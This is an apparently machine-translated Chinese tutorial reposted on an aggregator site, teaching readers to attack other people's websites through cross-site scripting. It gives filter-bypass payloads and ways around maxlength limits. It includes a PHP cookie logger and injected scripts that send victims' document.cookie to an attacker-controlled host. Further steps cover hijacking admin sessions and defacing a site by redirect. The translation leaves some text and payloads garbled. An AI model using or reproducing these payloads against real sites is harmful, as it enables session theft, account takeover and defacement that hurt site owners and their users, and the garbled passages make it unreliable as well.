XSS入侵渗透讲解

Posted 黑客渗透测试技术

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS入侵渗透讲解相关的知识,希望对你有一定的参考价值。

1.为XSS攻击检测:

首先,你必须检查,如果网站是脆弱的一个XSS 

注入,要做到这一点,νictim网站上找到一个文本输入字段。您输入必须在网站上的某个地方显示的文字。一些常见的XSS注入位置是您的用户名,签名,或会员资料,一个职位或一个论坛主题,或在网上搜索,反映您的搜索(“你对文本搜索”)的联系信息。


一旦你找到一个网站上,符合上述要求,您可以输入一个测试注入的位置。<script>alert(1)</script> 输入到文本字段,并提交表单。它应该返回一个警报(弹出),其中包含数字1。记住尝试在多个浏览器,有些像谷歌Chrome不会受到影响,所有的XSS注射,可能无法创建一个警报。


2。筛选偷漏税

,有时你νictims会尝试以防止XSS的注射实施的输入滤波器。这里有几个方案:


方案1:如果它返回一个空白/空的反射或“无效输入”的错误,那么该网站是最有可能阻止关键字<script>和</ SCRIPT>。根本改变脚本标记的情况下,你可以绕过这个过滤器。例如,<SCRIPT>alert(1)</SCRIPT> or <ScripT>alert(1)</ScripT>.


方案2:如果它返回与周围的引号(“<script>alert(1)</script>”) 你的脚本,那么你可以尝试关闭前引号启动脚本。您可以通过加入“之前的脚本>。例如, “><script>alert(1)</alert>。报价的负面因素,因为当周围放置在脚本的脚本转换为纯文本,并且不允许它的功能。


方案3:,如果没有 <script> tag(only alert(1))返回你的脚本,那么它仅仅是删除标记,而不是考虑整个输入无效。要绕过这个只是围绕<script>标签添加另一个标签。例如, <sc<script>ript>alert(1)</sc</script>ript>.。该过滤器会自动删除标记覆盖您的输入,因此,只有<script>alert(1)</script> 将保持。


方案4:如果该网站根本不会让你后的脚本标记,提醒您可以尝试十六进制编码到你的脚本。您可以通过使用XLATE或任何其他自由的ASCII到十六进制转换。一旦你的脚本的十六进制版本,您可以进入它就像你做的脚本的ASCII版本,它都会有相同的结果。


3。MaxLength的限制:

在许多情况下,输入字段将有一个可输入的字符,和你的脚本有时会超过这一限额,金额的限制。有一个可以使用的一些方法绕过这个:


方法1:在一些网站上,您将能够增加允许的最大字符 。要更改的MaxLength执行以下步骤:

1。右键单击输入栏

2。点击“检查元素” 

3。查找行持有<input id="query" type="text" maxlength="10" size="13" name="search_term">的数量增加后的maxlength = 

“ 4 。提交表单。如果它返回一个错误,指出在表单中输入的信息是错误的,那么该网站是不容易受到此。


方法2:将脚本上传到您的服务器,并输入用作源 。有两种方法做到这一点:

1。<img src='http://baidu.com/YourScript.js'> </ IMG> 

2。<script src='http://baidu.com/YourScript.js'> </ SCRIPT>


4。攻击媒介:

主要有两种类型的XSS漏洞,反映和持久性。反射XSS是您填写像一个搜索栏,电子邮件订阅场,或什么都不会永久地留在网站上将会消失只要你离开页面的输入字段 。这些都需要与社会工程的帮助下效果。一个持久性XSS漏洞被用在如注释字段,公开个人资料信息,或其他任何东西,将留在现场,并给其他人看到网站上的位置。


如果您发现网站上的一个持久的XSS,你将能够运行任何脚本,你想,其中包括有能力污损,某些页面(我认为大多数你阅读

本想如果你发现一个反光的XSS )。 你就可以像偷cookie和CSRF的网站上运行的脚本,但它需要一定的社会工程。我认为非常有用的cookie窃取,将解释为什么在本教程中进一步,但我还将向您展示如何污损通过持久XSS漏洞的网站。


Cookie的窃取

1。查找网站上的弱势XSSI位置。我们将使用Site.com / search.word?=(脚本在这里)。


2。您的cookie上传到Web服务器。您可以使用一个像Go Daddy和主机GATOR付费的虚拟主机或类似自由之一 


3。打开记事本,粘贴以下:


php代码:


<?php


$cookie = $_GET['cookie'];

$log = fopen("log.txt", "a");

fwrite($log, $cookie ."\n");

fclose($log);

?>

它保存为logger.php。


4。上传logger.php到Web服务器的根文件夹。


5。添加到根文件夹,以及一个名为log.txt的文件。


6。下面的脚本添加到您的XSS注射URL(替换baidu.com / logger.php与您的网站/ logger.php)。


邮编:<SCRIPT> document.location =“htt??p://www.baidu.com/logger.php?cookie =”+ document.cookie; </ SCRIPT>

如果你想这不太明显,那么你就可以使用另一个脚本重定向他们回到ictim网站后,他们访问您的Cookie记录器:


邮编:<script language= "javascript"> document.location =“htt??p://baidu.com/logger.php?cookie =”+ document.cookie; document.location =“htt??p://www.Site.com”</ SCRIPT>

7。寄送目标的XSS注入的链接。例如,我们将baidu.com / search.word = <SCRIPT> document.location =“htt??p://www.baidu.com/logger.php?cookie =”+ document.cookie;?</ SCRIPT>。如果你不想你的目标看到脚本,你可以到十六进制编码,就像过滤偷漏税的情景4。只编码的脚本(一切后Site.com / search.word?=)。


8。您已经成功地记录了他们的cookies!Site.com送他们到您的记录器,你现在有自己的site.com饼干。现在,收集他们的PHPSESSID或任何其他你登录的会话ID cookie。


9。下载附加“编辑这个cookie”谷歌Chrome和Mozilla Firefox。


10。去编辑这个cookie和会话ID替换他们的。现在点击“提交Cookie的变化”。现在,您应该记录管理/目标帐户。现在,您可以做任何事情,并不需要您输入自己的密码,从某一职位或发送私人讯息(如果你是管理员帐户)删除线程,也许污损的网站,或禁止成员。


污损

1。找到一个持久的XSS,并输入以下脚本 :


邮编:<SCRIPT> window.location=“http://baidu.com/Deface.html”</ SCRIPT>


以上是关于XSS入侵渗透讲解的主要内容,如果未能解决你的问题,请参考以下文章

渗透测试自学系列——如何利用Http协议入侵网站

有哪些好用的渗透测试演练系统

渗透测试和攻防演练的区别

Web渗透—— Honeypot

Web渗透—— Honeypot

入侵开放22端口的靶机